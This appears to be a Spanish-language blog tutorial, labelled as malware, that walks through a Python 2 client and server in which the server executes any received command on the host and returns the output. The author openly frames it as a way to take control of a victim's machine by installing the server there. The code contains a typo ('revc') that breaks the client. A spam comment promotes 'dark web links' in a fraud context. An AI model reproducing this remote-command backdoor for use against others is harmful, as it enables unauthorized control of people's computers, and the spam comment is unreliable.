Creando un Servidor & Cliente en Python -Malware-


    En esta ocasiĆ³n veremos algo que para muchos es algo muy sencillo pero de mucha utilidad a la hora de realizar una pentesting o tomar control de un equipo. Cuando hablamos de tomar control de un equipo mediante una shell para ejecutar comandos en realidad lo que estamos haciendo es una conexiĆ³n cliente y servidor. En este caso el servidor seria la vĆ­ctima y nosotros el cliente los cuales les enviaremos ordenes a seguir a dicho server.

Bien les mostrare como crear una conexiĆ³n cliente y servidor en python y ejecutar comandos para que este nos devuelva los resultados.


Primero creamos nuestro cliente.py


importamos la libreria socket

import socket

Luego crearemos una variable que determinara el protocolo y el tipo de socket, creamos 1 variable la cual serĆ” servidor y puerto, esta debe tener los mismos valores que tendrĆ” nuestro servidor.

clientsocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

clientsocket.connect(('localhost',5353))

En servidor coloque mi ip local y para el puerto escoji el 5353.

Recordemos que los parƔmetros deben ser iguales a los que usaremos en el servidor para que puedan comunicarse correctamente.

while True:
    data = raw_input("-> ")
    clientsocket.send(data)
    data = clientsocket.revc(1024)
    print 'servido: %s' % data
    if not data: break
clientsocket.close()

Lo que hicimos aqui fue crear un bucle infinito para mantener la concesiĆ³n con el servidor y creamos una variable llamada data la cual obtendrĆ” los comandos que se ejecutan en dicho server.

CĆ³digo cliente.py completo.

import socket

clientsocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

clientsocket.connect(('localhost',5353))

while True:
    data = raw_input("-> ")
    clientsocket.send(data)
    data = clientsocket.revc(1024)
    print 'servido: %s' % data
    if not data: break
clientsocket.close()


Ahora creamos el server.py

importamos la libreria socket y la libreria commands. Creamos una variable de respuesta la cual le asignaremos el valor de la peticiĆ³n del cliente. El cual se guardara en commands.getoutout lo que harĆ” que se ejecute en comando en el sistema.


import socket
import commands

serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

serversocket.bind(('localhost', 5353))

serversocket.listen(1)

clientsocket, clientaddress = serversocket.accept()
print 'conexion desde: ', clientaddress

serversocket.bind debe tener los mismos parƔmetros que le dimos en el cliente debido a que estamos especificando a la ip a la que nos conectaremos desde dicho cliente al igual que el puerto. Luego le decimos las conexiones en espera las cuales yo le di que seria 1.


Ahora creamos un bucle infinito para el servidor y creamos la variable que recibirĆ” los datos luego con la variable respuesta la cual guardara el mensaje que el cliente envĆ­a(el comando) para ejecutarlo en el sistema y enviar los resultados de dicho comando.

while True:

    data = clientsocket.recv(1024)
    print 'cliente %s' % data
    respuesta = commands.getoutput(data)
    clientsocket.send(respuesta)
    if not respuesta: break

clientsocket.close()

codigo server.py completo.


import socket
import commands

serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

serversocket.bind(('localhost', 5353))

serversocket.listen(1)

clientsocket, clientaddress = serversocket.accept()
print 'conexion desde: ', clientaddress

while True:

    data = clientsocket.recv(1024)
    print 'cliente %s' % data
    respuesta = commands.getoutput(data)
    clientsocket.send(respuesta)
    if not respuesta: break

clientsocket.close()


Listo ahora ejecutamos el server primero, luego el client y le enviamos un comando al servidor. Por ejemplo usare ifconfig.



Listo nos mostrara la informaciĆ³n de las interfaces. En caso de usar esto en contra de una vĆ­ctima tendrĆ­amos que instalar el servidor en su maquina y este debe de estar ejecutado para que el cliente pueda conectarse.

Espero que les haya gustado y sido de ayuda, no olviden compartir y suscribirse.



2 comentarios:

  1. hola te hago una pregunta, muy bueno el codigo pero no me toma la librerĆ­a de commands del servidor, como tendrĆ­a que hacer para que funcione??

    ResponderBorrar
  2. you may experience some fraudulent activity while trying to apply for your credit card over the Internet with one of these bad sectors. Read more about my website: dark web links

    ResponderBorrar